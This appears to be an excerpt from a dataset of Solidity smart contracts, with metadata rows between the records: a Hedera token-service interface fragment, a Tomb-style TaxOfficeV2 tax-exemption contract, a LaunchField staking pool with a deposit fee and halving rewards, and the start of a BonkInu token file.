/// hbars, then the entire transaction fails, and none of those transfers occur, though the
/// transaction fee is still charged. This transaction must be signed by the keys for all the sending
/// accounts, and for any receiving accounts that have receiverSigRequired == true. The signatures
/// are in the same order as the accounts, skipping those accounts that don't need a signature.
struct AccountAmount {
// The Account ID, as a solidity address, that sends/receives cryptocurrency or tokens
address accountID;
// The amount of the lowest denomination of the given token that
// the account sends(negative) or receives(positive)
int64 amount;
}
/// A sender account, a receiver account, and the serial number of an NFT of a Token with
/// NON_FUNGIBLE_UNIQUE type. When minting NFTs the sender will be the default AccountID instance
/// (0.0.0 aka 0x0) and when burning NFTs, the receiver will be the default AccountID instance.
struct NftTransfer {
// The solidity address of the sender
address senderAccountID;
// The solidity address of the receiver
address receiverAccountID;
// The serial number of the NFT
int64 serialNumber;
}
struct TokenTransferList {
// The ID of the token as a solidity address
address token;
// Applicable to tokens of type FUNGIBLE_COMMON. Multiple list of AccountAmounts, each of which
// has an account and amount.
AccountAmount[] transfers;
// Applicable to tokens of type NON_FUNGIBLE_UNIQUE. Multiple list of NftTransfers, each of
// which has a sender and receiver account, including the serial number of the NFT
NftTransfer[] nftTransfers;
}
/// Initiates a Token Transfer
/// @param tokenTransfers the list of transfers to do
/// @return responseCode The response code for the status of the request. SUCCESS is 22.
function cryptoTransfer(TokenTransferList[] memory tokenTransfers)
external
returns (int256 responseCode);
/// Mints an amount of the token to the defined treasury account
/// @param token The token for which to mint tokens. If token does not exist, transaction results in
/// INVALID_TOKEN_ID
/// token. The new supply must be lower than 2^63.
/// Maximum allowed size of each metadata is 100 bytes
/// @return responseCode The response code for the status of the request. SUCCESS is 22.
/// @return newTotalSupply The new supply of tokens. For NFTs it is the total count of NFTs
/// @return serialNumbers If the token is an NFT the newly generate serial numbers, othersise empty.
function mintToken(address token,
uint64 amount,
bytes[] memory metadata)
external
returns (int256 responseCode,
uint64 newTotalSupply,
int64[] memory serialNumbers);
/// Burns an amount of the token from the defined treasury account
/// @param token The token for which to burn tokens. If token does not exist, transaction results in
/// INVALID_TOKEN_ID
/// account (0; balance], represented in the lowest denomination.
/// @return responseCode The response code for the status of the request. SUCCESS is 22.
/// @return newTotalSupply The new supply of tokens. For NFTs it is the total count of NFTs
function burnToken(address token,
uint64 amount,
int64[] memory serialNumbers) external returns (int256 responseCode, uint64 newTotalSupply);
/// Associates the provided account with the provided tokens. Must be signed by the provided
/// Account's key or called from the accounts contract key
/// If the provided account is not found, the transaction will resolve to INVALID_ACCOUNT_ID.
/// If the provided account has been deleted, the transaction will resolve to ACCOUNT_DELETED.
/// If any of the provided tokens is not found, the transaction will resolve to INVALID_TOKEN_REF.
/// If an association between the provided account and any of the tokens already exists, the
/// transaction will resolve to TOKEN_ALREADY_ASSOCIATED_TO_ACCOUNT.
/// If the provided account's associations count exceed the constraint of maximum token associations
/// per account, the transaction will resolve to TOKENS_PER_ACCOUNT_LIMIT_EXCEEDED.
/// On success, associations between the provided account and tokens are made and the account is
/// ready to interact with the tokens.
/// @param account The account to be associated with the provided tokens
/// token type
/// @return responseCode The response code for the status of the request. SUCCESS is 22.
function associateTokens(address account, address[] memory tokens)
external
returns (int256 responseCode);
/// @param account The account to be associated with the provided token
/// @param token The token to be associated with the provided account
function associateToken(address account, address token) external returns (int256 responseCode);
/// Dissociates the provided account with the provided tokens. Must be signed by the provided
/// Account's key.
/// If the provided account is not found, the transaction will resolve to INVALID_ACCOUNT_ID.
/// If the provided account has been deleted, the transaction will resolve to ACCOUNT_DELETED.
/// If any of the provided tokens is not found, the transaction will resolve to INVALID_TOKEN_REF.
/// If an association between the provided account and any of the tokens does not exist, the
/// transaction will resolve to TOKEN_NOT_ASSOCIATED_TO_ACCOUNT.
/// If a token has not been deleted and has not expired, and the user has a nonzero balance, the
/// transaction will resolve to TRANSACTION_REQUIRES_ZERO_TOKEN_BALANCES.
/// If a <b>fungible token</b> has expired, the user can disassociate even if their token balance is
/// not zero.
/// If a <b>non fungible token</b> has expired, the user can <b>not</b> disassociate if their token
/// balance is not zero. The transaction will resolve to TRANSACTION_REQUIRED_ZERO_TOKEN_BALANCES.
/// On success, associations between the provided account and tokens are removed.
/// @param account The account to be dissociated from the provided tokens
/// @param tokens The tokens to be dissociated from the provided account.
/// @return responseCode The response code for the status of the request. SUCCESS is 22.
function dissociateTokens(address account, address[] memory tokens)
external
returns (int256 responseCode);
/// @param account The account to be associated with the provided token
/// @param token The token to be associated with the provided account
function dissociateToken(address account, address token) external returns (int256 responseCode);
/// Initiates a Fungible Token Transfer
/// @param token The ID of the token as a solidity address
/// @param accountId account to do a transfer to/from
/// @param amount The amount from the accountId at the same index
function transferTokens(address token,
address[] memory accountId,
int64[] memory amount) external returns (int256 responseCode);
/// Initiates a Non-Fungable Token Transfer
/// @param token The ID of the token as a solidity address
/// @param sender the sender of an nft
/// @param receiver the receiver of the nft sent by the same index at sender
/// @param serialNumber the serial number of the nft sent by the same index at sender
function transferNFTs(address token,
address[] memory sender,
address[] memory receiver,
int64[] memory serialNumber) external returns (int256 responseCode);
/// (positive amount) or receiving (negative amount)
/// @param token The token to transfer to/from
/// @param sender The sender for the transaction
/// @param recipient The receiver of the transaction
/// @param amount Non-negative value to send. a negative value will result in a failure.
function transferToken(address token,
address sender,
address recipient,
int64 amount) external returns (int256 responseCode);
/// (positive amount) or receiving (negative amount)
/// @param token The token to transfer to/from
/// @param sender The sender for the transaction
/// @param recipient The receiver of the transaction
/// @param serialNumber The serial number of the NFT to transfer.
function transferNFT(address token,
address sender,
address recipient,
int64 serialNumber) external returns (int256 responseCode);
}
| 158,351 | 13,978 |
66b74db29b53a1fbdb5563ca9f9f9abf2a26c6530e3640a095932f2059b45f35
| 24,245 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/33/33f1871e0104c4b45d5b2d7dae9760a90cb33f73_TaxOfficeV2.sol
| 4,230 | 16,191 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
interface ITaxable {
function setTaxTiersTwap(uint8 _index, uint256 _value) external returns (bool);
function setTaxTiersRate(uint8 _index, uint256 _value) external returns (bool);
function enableAutoCalculateTax() external;
function disableAutoCalculateTax() external;
function setTaxCollectorAddress(address _taxCollectorAddress) external;
function isAddressExcluded(address _address) external returns (bool);
function setTaxRate(uint256 _taxRate) external;
function setBurnThreshold(uint256 _burnThreshold) external;
function excludeAddress(address _address) external returns (bool);
function includeAddress(address _address) external returns (bool);
function setTombOracle(address _tombOracle) external;
function setTaxOffice(address _taxOffice) external;
function taxRate() external view returns (uint256);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TaxOfficeV2 is Operator {
using SafeMath for uint256;
address public tomb = address(0x71665ad3D8Dd3C60716069E624aeaDb0301d476C);
address public wftm = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
address public uniRouter = address(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
mapping(address => bool) public taxExclusionEnabled;
function setTaxTiersTwap(uint8 _index, uint256 _value) public onlyOperator returns (bool) {
return ITaxable(tomb).setTaxTiersTwap(_index, _value);
}
function setTaxTiersRate(uint8 _index, uint256 _value) public onlyOperator returns (bool) {
return ITaxable(tomb).setTaxTiersRate(_index, _value);
}
function enableAutoCalculateTax() public onlyOperator {
ITaxable(tomb).enableAutoCalculateTax();
}
function disableAutoCalculateTax() public onlyOperator {
ITaxable(tomb).disableAutoCalculateTax();
}
function setTaxRate(uint256 _taxRate) public onlyOperator {
ITaxable(tomb).setTaxRate(_taxRate);
}
function setBurnThreshold(uint256 _burnThreshold) public onlyOperator {
ITaxable(tomb).setBurnThreshold(_burnThreshold);
}
function setTaxCollectorAddress(address _taxCollectorAddress) public onlyOperator {
ITaxable(tomb).setTaxCollectorAddress(_taxCollectorAddress);
}
function excludeAddressFromTax(address _address) external onlyOperator returns (bool) {
return _excludeAddressFromTax(_address);
}
function _excludeAddressFromTax(address _address) private returns (bool) {
if (!ITaxable(tomb).isAddressExcluded(_address)) {
return ITaxable(tomb).excludeAddress(_address);
}
}
function includeAddressInTax(address _address) external onlyOperator returns (bool) {
return _includeAddressInTax(_address);
}
function _includeAddressInTax(address _address) private returns (bool) {
if (ITaxable(tomb).isAddressExcluded(_address)) {
return ITaxable(tomb).includeAddress(_address);
}
}
function taxRate() external view returns (uint256) {
return ITaxable(tomb).taxRate();
}
function addLiquidityTaxFree(address token,
uint256 amtTomb,
uint256 amtToken,
uint256 amtTombMin,
uint256 amtTokenMin)
external
returns (uint256,
uint256,
uint256)
{
require(amtTomb != 0 && amtToken != 0, "amounts can't be 0");
_excludeAddressFromTax(msg.sender);
IERC20(tomb).transferFrom(msg.sender, address(this), amtTomb);
IERC20(token).transferFrom(msg.sender, address(this), amtToken);
_approveTokenIfNeeded(tomb, uniRouter);
_approveTokenIfNeeded(token, uniRouter);
_includeAddressInTax(msg.sender);
uint256 resultAmtTomb;
uint256 resultAmtToken;
uint256 liquidity;
(resultAmtTomb, resultAmtToken, liquidity) = IUniswapV2Router(uniRouter).addLiquidity(tomb,
token,
amtTomb,
amtToken,
amtTombMin,
amtTokenMin,
msg.sender,
block.timestamp);
if(amtTomb.sub(resultAmtTomb) > 0) {
IERC20(tomb).transfer(msg.sender, amtTomb.sub(resultAmtTomb));
}
if(amtToken.sub(resultAmtToken) > 0) {
IERC20(token).transfer(msg.sender, amtToken.sub(resultAmtToken));
}
return (resultAmtTomb, resultAmtToken, liquidity);
}
function addLiquidityETHTaxFree(uint256 amtTomb,
uint256 amtTombMin,
uint256 amtFtmMin)
external
payable
returns (uint256,
uint256,
uint256)
{
require(amtTomb != 0 && msg.value != 0, "amounts can't be 0");
_excludeAddressFromTax(msg.sender);
IERC20(tomb).transferFrom(msg.sender, address(this), amtTomb);
_approveTokenIfNeeded(tomb, uniRouter);
_includeAddressInTax(msg.sender);
uint256 resultAmtTomb;
uint256 resultAmtFtm;
uint256 liquidity;
(resultAmtTomb, resultAmtFtm, liquidity) = IUniswapV2Router(uniRouter).addLiquidityETH{value: msg.value}(tomb,
amtTomb,
amtTombMin,
amtFtmMin,
msg.sender,
block.timestamp);
if(amtTomb.sub(resultAmtTomb) > 0) {
IERC20(tomb).transfer(msg.sender, amtTomb.sub(resultAmtTomb));
}
return (resultAmtTomb, resultAmtFtm, liquidity);
}
function setTaxableTombOracle(address _tombOracle) external onlyOperator {
ITaxable(tomb).setTombOracle(_tombOracle);
}
function transferTaxOffice(address _newTaxOffice) external onlyOperator {
ITaxable(tomb).setTaxOffice(_newTaxOffice);
}
function taxFreeTransferFrom(address _sender,
address _recipient,
uint256 _amt) external {
require(taxExclusionEnabled[msg.sender], "Address not approved for tax free transfers");
_excludeAddressFromTax(_sender);
IERC20(tomb).transferFrom(_sender, _recipient, _amt);
_includeAddressInTax(_sender);
}
function setTaxExclusionForAddress(address _address, bool _excluded) external onlyOperator {
taxExclusionEnabled[_address] = _excluded;
}
function _approveTokenIfNeeded(address _token, address _router) private {
if (IERC20(_token).allowance(address(this), _router) == 0) {
IERC20(_token).approve(_router, type(uint256).max);
}
}
}
| 311,431 | 13,979 |
405ec0500084e04bcaa946f3705ba0917f87021861339ae84b93fe59940e8eeb
| 27,712 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xED04964388Af73916fdc4Ef86ABfDb98F96D8ECb/contract.sol
| 4,046 | 15,669 |
// Dependency file: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Dependency file: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/upgrades/contracts/Initializable.sol
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// Dependency file: contracts/StakePool.sol
contract StakePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
address public feeTo;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token, address _feeTo) public initializer {
depositToken = IERC20(_token);
feeTo = address(_feeTo);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
if (msg.sender != address(feeTo)) {
// Credit 5% of deposit amount for Mining Pool Fee
uint256 feeamount = amount.div(20); // 5%
uint256 finalamount = (amount - feeamount);
// Deposit LP tokens without the Pool Fee
_balances[msg.sender] = _balances[msg.sender].add(finalamount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
depositToken.safeTransfer(feeTo, feeamount);
} else {
// Credit full amount for feeTo account
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
}
function _withdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, amount);
}
// Update feeTo address by the previous feeTo.
function feeToUpdate(address _feeTo) public {
require(msg.sender == feeTo, "feeTo: wut?");
feeTo = _feeTo;
}
}
// Dependency file: @openzeppelin/contracts/math/Math.sol
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract LaunchField is StakePool {
IERC20 public degenToken;
// Halving period in seconds, should be defined as 1 week
uint256 public halvingPeriod = 604800;
// Total reward in 18 decimal
uint256 public totalreward;
// Starting timestamp for Degen Staking Pool
uint256 public starttime;
// The timestamp when stakers should be allowed to withdraw
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _degenToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken, msg.sender);
degenToken = IERC20(_degenToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Tether");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot withdraw 0 Tether");
super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
degenToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals open after 24 hours from the beginning");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 250,938 | 13,980 |
2fae91f76246c57a5a63374b6f31dd83b68a9177e0a8a1f601f07d8d2048ffce
| 29,488 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8d/8D0D3dE9600afc460B00645d720635395ef6ff67_BonkInu.sol
| 5,203 | 18,731 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
